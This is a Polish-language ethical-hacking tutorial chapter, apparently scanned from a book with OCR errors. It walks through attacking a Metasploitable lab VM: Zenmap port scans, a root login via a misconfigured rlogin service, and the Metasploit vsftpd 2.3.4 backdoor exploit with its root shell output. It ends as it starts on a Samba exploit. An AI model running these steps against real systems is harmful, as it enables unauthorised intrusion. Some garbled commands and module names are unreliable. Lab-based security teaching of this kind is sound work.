Uzyskiwanie dostepu do urzadzen komputerowych

Przechodzimy teraz do kolejnej czesci , w ktérej omoéwimy tematy zwigzane z uzyskiwaniem dostepu
do urzadzen komputerowych. W tej czesci przyjrzymy sie sposobom uzyskania dostepu do komputera
ofiary. Bedziemy hakowaé systemy ofiar, wykorzystujac rézne techniki. Ta sekcja omowi pierwsze
podejscie do ataku na system ofiary: atak po stronie serwera. Przeprowadzimy atak po stronie serwera
z uzyciem urzadzenia Metasploit, a takze wykorzystamy backdoory. Ta czes¢ sktada sie z nastepujacych
sekcji:

Wprowadzenie do uzyskiwania dostepu

Ataki po stronie serwera

Podstawy po stronie serwera

Ataki po stronie serwera, podstawy Metasploit

Wykonywanie kodu Metasploit

Woprowadzenie do uzyskiwania dostepu

Masz juz wystarczajgco duzo informacji, aby sprébowaé uzyskaé dostep do innych systemow,
komputerow, serweréw, serwerow WWW i tym podobnych. W tej sekcji oméwimy uzyskiwanie
dostepu do urzadzen komputerowych. Co rozumiemy przez urzadzenia komputerowe? Kazde
urzadzenie elektroniczne, ktére widzisz, jest komputerem. Telefon, telewizor, laptop, serwer WWW,
strona internetowa, sieé, router — wszystkie te urzadzenia to komputery. Kazdy z nich ma system
operacyjny i programy zainstalowane w tych systemach operacyjnych. W wiekszosci przypadkow z tych
komputeréow korzysta uzytkownik. Tutaj oméwimy, jak uzyskaé dostep do komputeréow. W tym
przyktadzie uzyjemy komputera. Bedziemy mieli urzagdzenie docelowe Windows i hakera urzadzen
Linux. Ale koncepcja jest zawsze taka sama; uzyskanie dostepu do urzadzenn komputerowych jest
zawsze takie samo. Mozemy zastosowac te same koncepcje, jesli naszym celem jest telefon, tablet lub
serwer WWW, ale bedziemy je traktowac tak samo, jak zwykty komputer. Bardzo wazne jest, aby to
zrozumiec: kazde urzadzenie, ktére widzimy, jest komputerem i dziata tak samo, jak nasz komputer
osobisty. Mozemy skonfigurowaé serwer WWW na naszym komputerze, sprawié¢, by wygladat i dziatat
jak strona internetowa, a nawet jak telewizor, czy cokolwiek innego, co zechcemy. Dostownie,
telewizory i wszystkie tego typu urzadzenia to po prostu proste komputery z mniej skomplikowanym
sprzetem. Bedziemy méwié o atakowaniu tych urzadzen z dwdch gtéwnych stron: strony serwera i
strony klienta.

Strona serwera

Atak po stronie serwera nie wymaga zadnej interakcji uzytkownika. Bedziemy mieli komputer i
zobaczymy, jak uzyska¢ do niego dostep bez koniecznosci podejmowania przez niego jakichkolwiek
dziatan. Dotyczy to gtdwnie serwerow WWW, aplikacji i urzadzen, z ktérych ludzie rzadko korzystaja.
Ludzie po prostu je konfigurujg, a nastepnie uruchamiajg sie automatycznie. Mamy tylko adres IP i
zobaczymy, jak moziemy przetestowal bezpieczenstwo i uzyskaé dostep do tego komputera na
podstawie tego adresu IP. Naszym gtéwnym sposobem na dostanie sie do systemu bedzie system
operacyjny, na ktérym dziata dany system docelowy, oraz aplikacje zainstalowane w tym systemie.
Rdzne rodzaje atakow po stronie serwera obejmujg ataki typu SQL injection, przepetnienie bufora i
ataki typu ,,odmowa ustugi” (DDoS). Skupimy sie na atakach po stronie serwera. Przyjrzymy sie
szczegbdtowo, czym jest atak po stronie serwera i jak go przeprowadzic.



Strona klienta

Drugim podejsciem, ktdre wyprébujemy, jest atak po stronie klienta. To podejscie bedzie wymagato
od klienta, czyli osoby korzystajgcej z komputera, wykonania pewnych czynnosci. Moze to obejmowac
wiele czynnosci, takich jak instalacja aktualizacji, otwarcie obrazu lub uruchomienie trojana. Nauczymy
sie, jak stworzy¢ trojana, jak tworzy¢ tylne furtki i jak wykorzystaé socjotechnike, aby zmusi¢ osobe do
wykonania okreslonej czynnosci, dzieki ktdrej po jej wykonaniu uzyskamy dostep do jej komputera.
Gromadzenie informacji bedzie w tym przypadku kluczowe, poniewaz musimy znaé¢ osobe, ktérg
atakujemy. Rézne rodzaje atakdw po stronie klienta obejmujg podszywanie sie pod uzytkownika
(content spoofing), ataki typu cross-site scripting i fiksacje sesji (session fixation).

Po eksploatacji

Po uzyskaniu dostepu do systemu sprawdzimy, co mozemy zrobi¢ po uzyskaniu dostepu do tego
komputera, niezaleznie od metody uzytej do uzyskania do niego dostepu. Moze to obejmowac atak po
stronie serwera, atak po stronie klienta, a nawet po prostu dostep fizyczny, gdzie ofiara odchodzi od
biurka, a my wchodzimy. Przyjrzymy sie, co mozemy zrobi¢ po uzyskaniu dostepu do celu, jak mozemy
go dalej wykorzystac¢ i zwiekszy¢ nasze uprawnienia, lub zaatakowac inne komputery w tym samym
miejscu.

Ataki po stronie serwera

Pierwszym z nich bedg ataki po stronie serwera. Sg to ataki, ktére nie wymagajg interakcji uzytkownika.
Mozemy ich uzywac na serwerach WWW, a takze na zwyktych komputerach, z ktérych ludzie korzystaja
na co dzien. Powodem, dla ktérego uzyjemy ich przeciwko mojemu Metasploitable (ktéry dziata na
systemie Unix i jest bardziej serwerem niz zwyktym komputerem osobistym), jest to, ze jesli nasz cel
korzysta z komputera osobistego i nie znajduje sie w tej samej sieci co my, to nawet jesli uda nam sie
uzyskac jego adres IP, bedzie on znajdowat sie za routerem. Prawdopodobnie bedga taczy¢ sie przez
router, a zatem jesli uzyjemy adresu IP, aby sprébowacd ustali¢, jakie systemy operacyjne sg na nim
uruchomione i jakie aplikacje sg zainstalowane, nie otrzymamy zbyt wielu przydatnych informaciji,
poniewaz otrzymamy tylko informacje o routerze, a nie o osobie. Osoba bedzie ukrywa¢d sie za
routerem. Gdy naszym celem jest serwer WWW lub serwer w ogéle, serwer bedzie miat adres IP, a my
bedziemy mogli uzyskaé do niego dostep bezposrednio z internetu. Ten atak zadziata, jesli osoba jest
w tej samej sieci i ma prawdziwy adres IP. Jesli uda nam sie pingowac te osobe, nawet jesli jest to
komputer osobisty, bedziemy mogli przeprowadzi¢ wszystkie ataki i wszystkie metody gromadzenia
informacji, o ktérych sie dowiemy.

Naszym celem bedzie moja maszyna Metasploitable. Zanim zaczniemy nad nig pracowa¢, sprawdzimy
ustawienia sieciowe. Aby to zweryfikowac, sprawdzmy, czy jest wtgczona funkcja NAT i czy znajduje sie
w tej samej sieci co maszyna Kali. Maszyna Kali bedzie naszg maszyng atakujgca. Ponownie musimy
sprawdzié, czy sie¢ jest witgczona w trybie NAT i czy znajduje sie w tej samej podsieci. To bardzo wazne.
Jesli klikniemy ifconfig, zobaczymy nasz adres IP, jak pokazano na ponizszym zrzucie ekranu:
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Jesli przejdziemy do mojego komputera Kali, powinnismy méc go pingowac. Jak widac na ponizszym
zrzucie ekranu, po pingowaniu adresu IP otrzymujemy odpowiedzi z komputera, co oznacza, ze
jestesmy z nim potaczeni i mozemy uzyska¢ od niego odpowiedzi. Mozemy zatem przetestowac jego
bezpieczenstwo, jak pokazano na ponizszym zrzucie ekranu:

root@kali: ~ e e 0

File Edit View Search Terminal Help

# ping 10.0.2.4

PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.

54 bytes from 10.6.2 : icmp seq=l ttl=64 time=0.982 ms
bytes from 160. icmp seq=2 ttl=64 time=0.536 ms
bytes from 10. icmp seq=3 ttl=64 time=06.512 ms
bytes from 10. icmp seq=4 ttl=64 time=0.648 ms
bytes from 10. icmp seqs5 ttl=64 time=1.03 ms
bytes from 180. icmp seq=6 ttl=64 time=0.221 ms
bytes from 10. icmp seq=7 ttl=64 time=0.392 ms

icmp seq=8 ttl=64 time=06.473 ms

: icmp seq=9 ttl=64 time=0.279 ms

.4: icmp seq=16 ttl=64 time=0.296 ms

.4: icmp seq=ll tti=64 time=0,299 ms

.4: icmp seqg=12 ttl=64 time=0.350 ms

o

N A

NN

bytes from 10.
bytes from 10.
bytes from 10.
bytes from 10.
bytes from 16.
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10.0.2.4 ping statistics ---
packets transmitted, 12 received, 0% packet loss, time 11204ms
rtt min/ava/max/mdev = 0.221/6.501/1.030/0.254 ms

Ponownie, mozemy zastosowac te ataki i te podejscia przeciwko dowolnemu komputerowi, ktéry
mozemy pingowac. Niezaleznie od tego, czy jest to komputer osobisty, czy serwer dowolnego rodzaju,
o ile mozemy pingowac te lokalizacje lub osobe, mozemy przeprowadzi¢ ataki i zastosowac metody, o
ktorych bedziemy moéwié. Ataki po stronie serwera dziatajg na strony internetowe, serwery WWW,
ludzi i zwykte komputery, o ile mozemy je pingowac. Aby zobrazowac te idee, pokazemy maszyne
Metasploitable, ktdra jest po prostu zwyktg maszyng wirtualna, ktérej mozemy uzywaé do wszystkiego.
Mozemy jg wyswietli¢ za pomocg polecenia -Is, a nawet zainstalowac interfejs graficzny. Wtedy
bedziemy mogli uzywac jej tak, jak uzywamy mojej maszyny Kali. Jednoczesnie ma ona serwer WWW.
Jesli sprébujemy nawigowac do serwera, zobaczymy, ze faktycznie ma on serwer WWW i zawiera
strony internetowe, ktore mozemy czytac i przegladac. Przyjrzymy sie tym stronom i zobaczymy, jak
mozemy je przetestowac penetracyjnie w kolejnych rozdziatach, jak widaé na ponizszym zrzucie
ekranu:
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Wszystko jest komputerem i jesli mozemy pingowac adres IP, mozemy przeprowadzi¢ ataki po stronie
serwera. Dziatajg one gtéwnie na serwerach, poniewaz serwery zawsze majg prawdziwe adresy IP. Jesli
dana osoba znajduje sie w tej samej sieci co my, mozemy jg pingowac, aby przeprowadzi¢ réwniez
wszystkie te ataki.

Podstawy atakéw po stronie serwera

Pierwszym krokiem w atakach po stronie serwera jest gromadzenie informacji. Gromadzenie
informacji jest bardzo wazine, poniewaz pozwala nam poznaé system operacyjny komputera
docelowego, zainstalowane programy, uruchomione ustugi oraz porty powigzane z tymi ustugami. Z
tych zainstalowanych ustug mozemy sprébowac uzyska¢ dostep do systemu. Mozemy to zrobié,
probujgc domysinych haset. WidzieliSmy to w czesci poswieconej testom penetracyjnym sieci, gdzie na
iPadzie zainstalowano ustuge SSH, ktéra zasadniczo dawata nam petny dostep do komputera, jesli
uzytkownik nadal uzywa domysinego hasta, czyli alpine. Mozemy to zrobi¢ z dowolng inng ustugg, co
zostanie oméwione w dalszej czesci tego rozdziatu. Wiele oséb instaluje ustugi i btednie je konfiguruje,
wiec przedstawimy kolejny przyktad. Czasami wiele z tych ustug jest zaprojektowanych tak, aby
umozliwi¢ komus zdalny dostep do komputera, ale oczywiscie wymagajg one pewnych implementacji
zabezpieczen. Uzytkownicy czesto btednie konfigurujg te ustugi, dzieki czemu mozemy wykorzystac te
btedy i uzyskac dostep do tych komputeréw. Innym problemem z tymi ustugami jest to, ze niektoére z
nich moga mie¢ nawet tylne furtki, co rdwniez zobaczymy na przyktadzie. Wiele z nich bedzie miato
luki w zabezpieczeniach, takie jak zdalne przepetnienia bufora lub luki umozliwiajgce wykonanie kodu,
co pozwoli nam uzyskaé petny dostep do komputera. Najprostszym sposobem na to jest cos$, co juz
widzieliSmy: Zenmap. Uzywamy Zenmap z adresem IP. Otrzymujemy liste wszystkich tych ustug, a
nastepnie wyszukujemy kazdg z nich w Google, aby sprawdzi¢, czy zawierajg jakies luki. W poprzednich
rozdziatach widzieliémy, jak mozna uzywac¢ Zenmap, ale chcemy po prostu przekazac idee, ze wszystko
jest komputerem. WidzieliSmy juz, ze urzadzenie Metasploitable jest w rzeczywistosci strong
internetowa. Ma uruchomiony serwer WWW,; strony internetowe niczym sie od tego nie rdznig. Aby
uzyskac adres IP strony internetowej, wystarczy ping. Na przyktad, jesli celujemy w Facebooka, musimy
ping facebook.com i zdobedziemy jego adres IP. Bedziemy mieli adres IP Facebooka i bedziemy mogli
uruchomi¢ na nim Zenmap i uzyskac liste wszystkich uruchomionych ustug na Facebooku. Oczywiscie
nie zrobimy tego, poniewaz nie mamy do tego uprawnien. Uruchomimy Zenmap na tym urzadzeniu
Metasploitable, ktére jest w zasadzie komputerem i to witasnie je chcemy przetestowac.



Uruchomimy Zenmap w taki sam sposdb, jak poprzednio. Przejdziemy do sekcji , Aktywnosci”.
Woystarczy wyszukaé Zenmap i go otworzy¢. Teraz wprowadzimy adres IP naszego celu, urzadzenia
Metasploitable, ktdry w naszym przyktadzie wynosit 10.0.2.4. Pamietaj, ze w tescie penetracji sieci,
uzylismy bazowego adresu IP i dodalismy go do 24, aby objgé wszystkie adresy IP w naszej sieci. W tym
przypadku mozesz testowac zdalny adres IP. Na przyktad, w przypadku Facebooka, wystarczy wpisac
docelowy adres IP Facebooka i go przetestowac. Poniewaz jednak nie mamy do tego uprawnien, nie
bedziemy tego robié. Mamy jednak uprawnienia do testowania naszego wtasnego urzadzenia, ktére
jest zainstalowane w tej samej sieci co my, dlatego wprowadzimy ten adres IP. Mozemy dostownie
wpisa¢ dowolny adres IP i go przetestowaé. Uzyjemy funkcji skanowania, ktéra wyswietli liste
wszystkich zainstalowanych aplikacji, jak pokazano na ponizszym zrzucie ekranu:

Zenmap 600
Scan Tools Profile Help
farget 10.0.24 v Profile. | Intense tcan v |Scn
Command nmap -T4-A-v 10024
Mosls | Services Nmap Output  Ports / Hosts  Topology Host Detas  Scans
0S5  Hosl y (Pmap-T4-A-v10024 . Details

& 10024 Starting Nmap 7.7@ ( https://nmap.org ) at 2018-06-12 05:50 EOY

MSE: Loaded 148 scripts for scanning.

NSE: Script Pre-scanning

Initiating NSE at 05:50

Completed NSE 4t 85:50, 0.00s elapsed

Initiating NSE at 05:50

Completed NSE at 05:560, 0.00s elapsed

Initiating ARP Ping Scan at 05:50

Scanning 10.0.2.4 [1 port]

Completed ARP Ping Scan at 05:50, 0.13s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:50

Completed Parallel DNS resolution of 1 host. at 05:50, 0.30s elapsed
Initiating SYN Stealth Scan at 05:50
Scanning 10.0.2.4 [1000 ports]
Discovered open port 80/tcp on 10.0.2.4
Discovered open port 596¢/tcp on 10.0.2.
Discovered open port 13306/tcp on 10.0.2.
Discovered open port 111/tcp on 190.0.2.4
Discovered open port 139/tcp on 10.0.2.4
Discovered open port 23/tcp on 10.0.2.4
Discovered open port 445/tcp on 10.0.2.4
Discovered open port S3/tcp on 19.0.
Discovered open port 21/tcp on 10.0.
Discovered open port 25/tcp on 10.0.
Discovered open port 22/tcp on 10.0.
Discovered open port S13/tcp on 10.0.2.4

Discovered open port 2049/tcp on 10.0.2.4

Discovered open port 514/Lcp on 10.0.2.4

Discovered open port 1524/tcp on 10.0.2.4 N
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Filter Hosts

Po zakoniczeniu skanowania bedziemy mieli wiele otwartych portéw i ustug. Wskazane jest przejscie
do zaktadki ,,Wyjscie Nmap”, sprawdzenie portow, zapoznanie sie z ustugami i wyszukanie ich nazw w
Google. Na przyktad na ponizszym zrzucie ekranu mamy port 21, ktéry jest portem FTP. FTP to ustuga
instalowana w celu umozliwienia uzytkownikom przesytania lub pobierania plikéw ze zdalnego
serwera. Ustugi FTP zazwyczaj wymagajg nazwy uzytkownika i hasta, ale widzimy, ze ta ustuga zostata
btednie skonfigurowana i umozliwia anonimowe logowanie FTP. W przeciwieristwie do protokotu SSH,
ktorego uzywaliSmy wczesniej podczas testéw penetracyjnych sieci, mozemy uzy¢é domyslnego hasta.
Dzieki temu bedziemy mogli zalogowac sie bez hasta, jak wida¢ na ponizszym zrzucie ekranu:



Zenmap o0
Scan Tools Profile Help

Target |10.0.24 v  Profile: |Intense scan v |Scan

Command | nmap -T4-A-v 10024

| Hesly | Services Nmap Qutput  Ports / Hosts  Topology Host Detalls  Scans

05 Host v A SJ4-Aw 10024 - Dwetalls

& 10024 Not shown: 977 closed ports %

PORT STATE SERVICE VERSION

21/tcp open ftp veftpd 2.3.4

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

| STAT:

| FTP server status:

| Connccted to 10.0.2.15

| Logged in as fip

| TYPE: ASCII

| No session bandwidth Timit

| Session timeout in seconds 15 300

| Control connection is plain text

| Data connections will be plain text

| vsFTPd 2.3.4 - secure, fast, stable

| End of statug

22/tcp open ssh OpenSSH 4.7p) Debian Oubuntul (protocol 2.0)

| ssh-hostkey

| 1024 60:0f:cfiel:c0:5¢:60:74:d6:90:24:fa:c4:d5:6¢c:cd (DSA)

| 2048 56:%6:24:07:21:1d:de:a7:2b:ae:01:bi:24:3d:e8: 73 (RSA)

23/tep open telnet Linux telnetd
2%/tcp open saip Postfix smtpd

smtp-commands: metasploitable. localdomalin, PIPELINING, SIZE 10240600, VRFY, ETRN,

STARTTLS, ENMANCEDSTATUSCODES, BBITMIME, DSN,
| ssl-cert: Subject: commonName-ubuntuBB4-base.localdomain/organizationNane-0C0SA/
stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntuSed.bace. localdomain/organizationName=0C0SA/
stateOrProvinceNane«There 15 no such thing outside US/countryName«XX

Filter Hosts | Public Key type: rsa v

Woystarczy pobrac klienta FTP, takiego jak FileZilla, i bedziemy mogli potaczy¢ sie za pomocg tego adresu
IP na porcie 21. Nie bedziemy wnikaé w szczegdty, jak to zrobi¢, poniewaz jest to bardzo proste.
Woystarczy pobra¢ aplikacje i potgczyc sie z nig. Mozemy réwniez wyszukaé w Google serwer FTP, w
naszym przypadku vsftpd 2.3.4, i sprawdzi¢, czy wystepujg na nim jakie$ problemy, btedy w konfiguracji
lub znane luki w zabezpieczeniach umozliwiajgce wykonywanie kodu. Po wyszukaniu w Google
zobaczymy, ze ta konkretna aplikacja, vsftpd 2.3.4, ma zainstalowang tylng furtke. Dostownie byta ona
z nig w momencie premiery. Musimy wyszuka¢ w Google ustugi po kolei i sprawdzié, czy nie majg
zadnych btedéw w konfiguracji, zainstalowanych luk w zabezpieczeniach lub znanych luk w
zabezpieczeniach. Teraz przyjrzymy sie portowi 512. Zatéimy, ze sprawdzaliSmy je po kolei, nie
moglismy nic znalez¢ i dotarliSmy do portu TCP 512, jak pokazano na ponizszym zrzucie ekranu:

Zenmap [-INChN -
Scan Tools Profile Help
Target: (100.24 v  Profile: Intence scan vy Scan
Command: nmap -T4 -A v 10.0.24
| Hents | Services Nmap Output | Purts / Hosts  Topology  Host Details  Scans
05 Host v ning) -T4 -A -+ 10.0.2.4 N Delasls
¢, 10024 | 100024 1 56585/tcp status =
139/t<p open netbios-ssn Samba sabd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba sabd 3.0.20-Dedlan (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
S13/tecp open login
314/tcp open tcpwrapped
1099 /tcp open Jjava-rmi Java RMI megistry
1524/tcp open bindshell Metosploitable root shell
204%/tcp open  nfs 2-4 (RPC 2100003)
2121 /tcp open ftp ProFTPD 1.3.1
3300/tcp oper nysql MySOL 35.0.351a-3Subuntul




Wyszukamy w Google ustuge dziatajgcg na tym porcie, poniewaz nie wiemy, co to jest. Po krétkim
googlowaniu wiemy, ze netkit-rsh to program do zdalnego wykonywania polecen. Jesli uda nam sie
zalogowac za jego pomoca, bedziemy mogli wykonywaé polecenia na komputerze docelowym.
Program ten korzysta z programu rsh rlogin, ktéry jest programem dostarczanym z Linuksem. Pozwala
nam on, podobnie jak SSH, wykonywaé polecenia zdalne na komputerze docelowym. Wréémy i
zobaczmy, jak mozemy potaczyc¢ sie z ustugg rsh rlogin. Przyjrzyjmy sie pakietowi netkit- rsh i temu, co
zawiera. Jak widac, jest to Ubuntu. Docelowy system komputerowy dziata na Ubuntu i widzimy, ze tutaj
uzywa ustugi rsh -client do potaczenia. Musimy zainstalowac pakiet, aby potgczy¢ sie z tg ustuga. Jest
to program kliencki dla zdalnego potaczenia powtoki. Teraz wréémy i zainstalujmy rsh -client . Tak jak
poprzednio, gdy potrzebowali§my co$ zainstalowaé, uruchamiamy apt -get i wykonujemy install.
Wpiszemy nazwe programu, ktory chcemy zainstalowac, wiec jest to rsh -client . Polecenie instalacji
rsh -client wyglada nastepujaco:

apt-get install rsh-client

apt -get zainstaluje go i skonfiguruje. Po zainstalowaniu uzyjemy rlogin do zalogowania sie, poniewaz
na pierwszej stronie poinformowano nas, ze program rlogin utatwia logowanie. Uzyjemy rlogin i
ponownie, jesli nie wiemy, jak korzystac z tej aplikacji, uzyjemy --help, aby dowiedzie¢ sie, jak jej
uzywaé, jak pokazano na ponizszym zrzucie ekranu:

[-1 user] [-1 user] [-p port] host

Wazna jest tutaj nazwa uzytkownika (-) i host, czyli docelowy adres IP. Teraz wykonamy rlogin. Jako
nazwe uzytkownika wpiszemy root, czyli uzytkownika z najwiekszymi uprawnieniami w systemie, a
nastepnie wprowadzimy docelowy adres IP, czyli 10.0.2.4. Oto polecenie:

rlogin -l root 10.0.2.4

| teraz jeste$my zalogowani do komputera Metasploitable. Jesli wykonamy polecenie id, aby uzyskaé
identyfikator, zobaczymy, ze jestesmy root. Jesli wykonamy uname -a, wyswietli sie nazwa hosta i jgdro
uruchomione na maszynie. Widzimy, ze znajdujemy sie na maszynie Metasploitable z dostepem root,
jak pokazano ponizej:

root@metasploitable:~# 1id
uid=8(root) gid=e(root) groups=e(root)

root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

To podstawowy, reczny sposéb uzyskania dostepu do komputera docelowego poprzez wykorzystanie
btednej konfiguracji zainstalowanej ustugi. Ustuga rlogin nie byta poprawnie skonfigurowana.
Wystarczyto wyszukaé w Google, jaki port byt dotgczony do komputera docelowego, aby zalogowac sie
i uzyska¢ petny dostep do komputera docelowego. Kluczem jest tutaj ponowne przeskanowanie
Zenmap, a nastepnie sprawdzenie kazdego znalezionego portu. Wyszukujemy ten port w Google pod
katem bteddéw konfiguracji i domyslnych haset. Jesli ustuga docelowa miata backdoora lub wykonywata
kod, by¢ moze po prostu nie zostata poprawnie zaprogramowana lub miata luke, ktdra moze postuzyé
do uzyskania dostepu do komputera.

Ataki po stronie serwera — podstawy Metasploit

W tej sekcji przyjrzymy sie przyktadowi bardzo prostego problemu: backdoora. Niektdre programy lub
ustugi sg dostarczane z wbudowanymi backdoorami. Wykorzystamy to i wybierzemy ten bardzo prosty
exploit, poniewaz przyjrzymy sie frameworkowi o nazwie Metasploit. Bedziemy z niego czesto



korzysta¢. Zaczniemy od czego$ prostego, a nastepnie zagtebimy sie w framework. Najpierw
przyjrzyjmy sie, jak znalezé ten exploit. Ponownie, uzywajac tej samej metody, ktérej zawsze
uzywalismy, wykonujemy skanowanie Nmap; jak wiemy, przejdziemy na kazdy port i wyszukamy go w
Google, szukajgc exploitow. Wpiszemy w Google nazwe ustugi vsftpd 2.3.4 exploit. Jest to nazwa ustugi,
po ktdrej nastepuje exploit. Widzimy, ze pierwszy wynik pochodzi ze strony internetowej o nazwie
Rapid7. Rapid7 to firma, ktéra tworzy framework Metasploit, dlatego wybralismy ten konkretny
exploit. Zamierzamy wykorzystaé¢ te ustuge, czyli ten problem, za pomocg Metasploit. Rapid7
poinformuje nas, ze wersja FTP 2.3.4 ma funkcje wykonywania polecei backdoor, wiec mozemy
zasadniczo wykonywac polecenia na komputerze docelowym, jesli ma zainstalowany ten program. Z
Nmapa wiemy, ze ten program jest zainstalowany, co oznacza, ze mozemy wykonywa¢ polecenia na
komputerze docelowym. Metasploit, jak juz wspomnieliémy, zostat stworzony przez Rapid7. To
rozbudowany framework, ktéry zawiera duzg liczbe exploitow. Pozwala on na wykorzystywanie luk w
zabezpieczeniach lub tworzenie wtasnych exploitow. Jesli jestes ekspertem i wiesz, jak odkrywac i
tworzy¢ exploity, Metasploit ci w tym pomoze. Na razie wykorzystujemy bardzo prostg, istniejgcg luke
w zabezpieczeniach. Polecenia w Metasploit sg bardzo proste. Na poczatku mogg wydawac sie nieco
skomplikowane, ale gdy sie do nich przyzwyczaimy, sg bardzo tatwe w uzyciu i wiele z nich to polecenia
ogélne. Ponizej pokazemy Ci podstawowe polecenia ogdlne.

Sa tez inne polecenia, do ktérych z czasem sie przyzwyczaimy:
msfconsole: To polecenie uruchamia program Metasploit.
help: Dzieki temu mozemy uzyskaé informacje o poleceniach i opis sposobu ich uzycia.

show: To polecenie wyswietla dostepne exploity. Mozemy wyswietli¢ dostepne narzedzia pomocnicze
i tadunki. Omoéwimy znaczenie kazdego z nich w przysztosci.

use: To polecenie stuzy do uzycia czego$, co pokazaliSmy. Na przyktad, pokazujemy exploity i
wybieramy konkretny exploit, ktédrego chcemy uzyé. Nastepnie uzywamy polecenia use i wpisujemy
nazwe exploita, aby go uruchomic.

set: Polecenie set stuzy do ustawiania konkretnych opcji exploita. Na przykfad, jesli chcemy ustawic
adres IP naszego celu, ustawiamy adres IP, a nastepnie wpisujemy warto$¢ adresu IP, na ktérg chcemy
go ustawic.

exploit : Na koniec, po zakoriczeniu konfiguracji, mozemy wpisa¢ exploit, aby uruchomi¢ exploita.

Uruchomilismy Nmap, wyszukaliSmy nazwe ustugi w Google i pierwszg rzeczg, jaka sie pojawita, byto
to, ze ustuga ma tylne drzwi do wykonywania polecen. Poniewaz dotyczy to Rapid7, podatnosc ta moze
zosta¢ wykorzystana za pomocg Metasploit. Nazwa modutu, ktérej bedziemy uzywaé, to
exploit.unix/ftpsvsftpd 2 :.';-'-]_h.h-.l.l.-.'kdl.-.ll.-.l:, aby Wykorzystaé te pOdatnOgé. Teraz prZEdeiemy do
konsoli i uruchomimy Metasploit za pomocg polecenia msfconsole, a nastepnie uruchomimy use, a

nastepnie WpiSZemy nazwe eXploita, ktéra brzmi r.-xp'_oi'r. .uanix/ fT.[C:."' =] ffpﬂ_z :_i'-]_}_'_:.j_u,'_']r'_!_'_‘iu,'_u,'_;"_':

use exploit/unix/ftp/vsftpd_234_backdoor

Jak widaé na ponizszym zrzucie ekranu, nazwa zmienita sie na exploit a nastepnie nazwa exploita,
ktorego uzywamy:

msf = use exploit/unix/ftp/vsftpd 234 backdoor

msf exploit( ) =




Nastepnie uzyjemy polecenia show, aby wyswietli¢ opcje, ktére musimy ustawic¢. Jak wiemy, show to
polecenie ogdlne, ktérego mozemy uzy¢ w wielu przypadkach. W tym przypadku uzywamy polecenia
showoptions, aby wyswietli¢ wszystkie opcje, ktére mozemy zmienié¢ dla tego konkretnego exploita.
Jak widaé na ponizszym zrzucie ekranu, drugg opcjg jest port, na ktérym dziata ustuga. Jest on juz
ustawiony na port 21:

msf exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name Current Setting Required Description

RHOST yes The target address

RPORT 21 yes The target port (TCP)
Exploit target:

Id Name

Automatic

Jesli wrécimy do Nmapa, zobaczymy, ze nasz docelowy klient FTP lub serwer dziata na porcie 21. Nie
musimy niczego zmieniaé. Musimy zmienic tylko RHOST.RHOST to docelowy adres IP, a my ustawimy
RHOST, ktéry jest adresem IP mojej docelowej maszyny Metasploitable. Uzywamy set, a po set
umieszczamy nazwe opcji. Jesli chcemy zmienié port, ustawiamy RPORT, ale zmieniamy RHOST na
10.0.2.4. Jak wyjasnilismy na poczatku tego tematu, uzyjemy opcji set lub polecenia set. Polecenie
bedzie wygladac¢ nastepujaco:

set RHOST 10.0.2.4
Nacisnij Enter i, jak wida¢ na kolejnym zrzucie ekranu, opcja RHOST jest ustawiona na 10.0.2.4:

} = set RHOST 18.8.2.4

Teraz pokazemy opcje ponownie, aby upewnic sie, ze wszystko jest poprawnie skonfigurowane. Jak
widac na ponizszym zrzucie ekranu, RHOST zostat zmieniony na 10.0.2.4:

msf exploit( ) > show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):
Name Current Setting Required Description

RHOST 0.0,2.¢ yes The target address
RPORT 2 yes The target port (TCP)

Exploit target:

Id Name

Automatic

Wszystko jest juz gotowe. Aby wykonac¢ polecenie exploit, wystarczy wpisaé eexploit. Na ponizszym
zrzucie ekranu widaé, ze polecenie exploit zostato pomysinie wykonane i mamy teraz dostep do
komputera docelowego. Jesli wpiszemy id, zobaczymy, ze nasze UID to root:



msf exploit( > exploit

¢y the password.
pawned, handling

-> 10,.0.2.4:6200) at 2018-06-12 23:57:21 -0400

uld=0{root) gid=@(root)

Teraz w zasadzie uruchamiamy tutaj polecenia Linuksa, wiec jesli wykonamy polecenie uname -a,
zobaczymy, ze to moja maszyna Metasploitable, a jesli wykonamy polecenie Is, wyswietli nam liste
plikdw. Jesli wykonamy polecenie pwd, pokaze nam naszg lokalizacje i mozemy uzy¢ polecen Linuksa,
aby wykona¢ dowolne dziatanie na maszynie docelowej:

inux metasploitable 2.6.24-16-server #1 SMP Thu Apr 18 13 88 UTC 2808 i686 GNU/Linux

c
home
initrd
inltrd. img
lib

+found

media
mnt
nohup . out

tmp
usr

var
vmlinuz
[pwd

To bylo bardzo proste uzycie Metasploit. W przysztosci bedziemy go uzywaé do bardziej
zaawansowanych dziatan.

Zdalne wykonywanie kodu w Metasploit

Teraz przyjrzymy sie Metasploit bardziej szczegétowo i zobaczymy, jak wykorzysta¢ luke w
zabezpieczeniach okreslonej ustugi. Jest to luka umozliwiajgca wykonanie kodu, ktéra zapewni nam
petny dostep do komputera docelowego. Wracajgc do wynikdw w Nmap, zrobimy to samo, co
robilismy od jakiego$ czasu: skopiujemy nazwe ustugi i sprawdzimy, czy ma jakie$ luki. Na razie
przyjrzymy sie portowi 139, ktéry ma serwer Samba w wersji 3.X. Przejdziemy do Google, tak jak w
poprzedniej sekcji, i poszukamy Samba 3.X exploit. Zobaczysz wiele wynikéw. Ten, ktéry nas
interesuje, pochodzi z Rapid7, poniewaz, jak wspomniano wczesniej, to wtasnie oni tworzg Metasploit,
wiec exploity, ktére tam widzimy, mogg by¢ wykorzystywane za jego posrednictwem. Exploit, ktorego
bedziemy uzywaé, to skrypt mapowania nazw uzytkownikéw. To luka umozliwiajgca wykonywanie
polecer. Nazwa luki to ®#F loit/multi/samba/ usermap_scrlbliyiec jest to ta sama luka, ktdrej
uzylismy wczesniej ze ztosliwym backdoorem w ustudze FTP. To po prostu inna nazwa, ktérg bedziemy
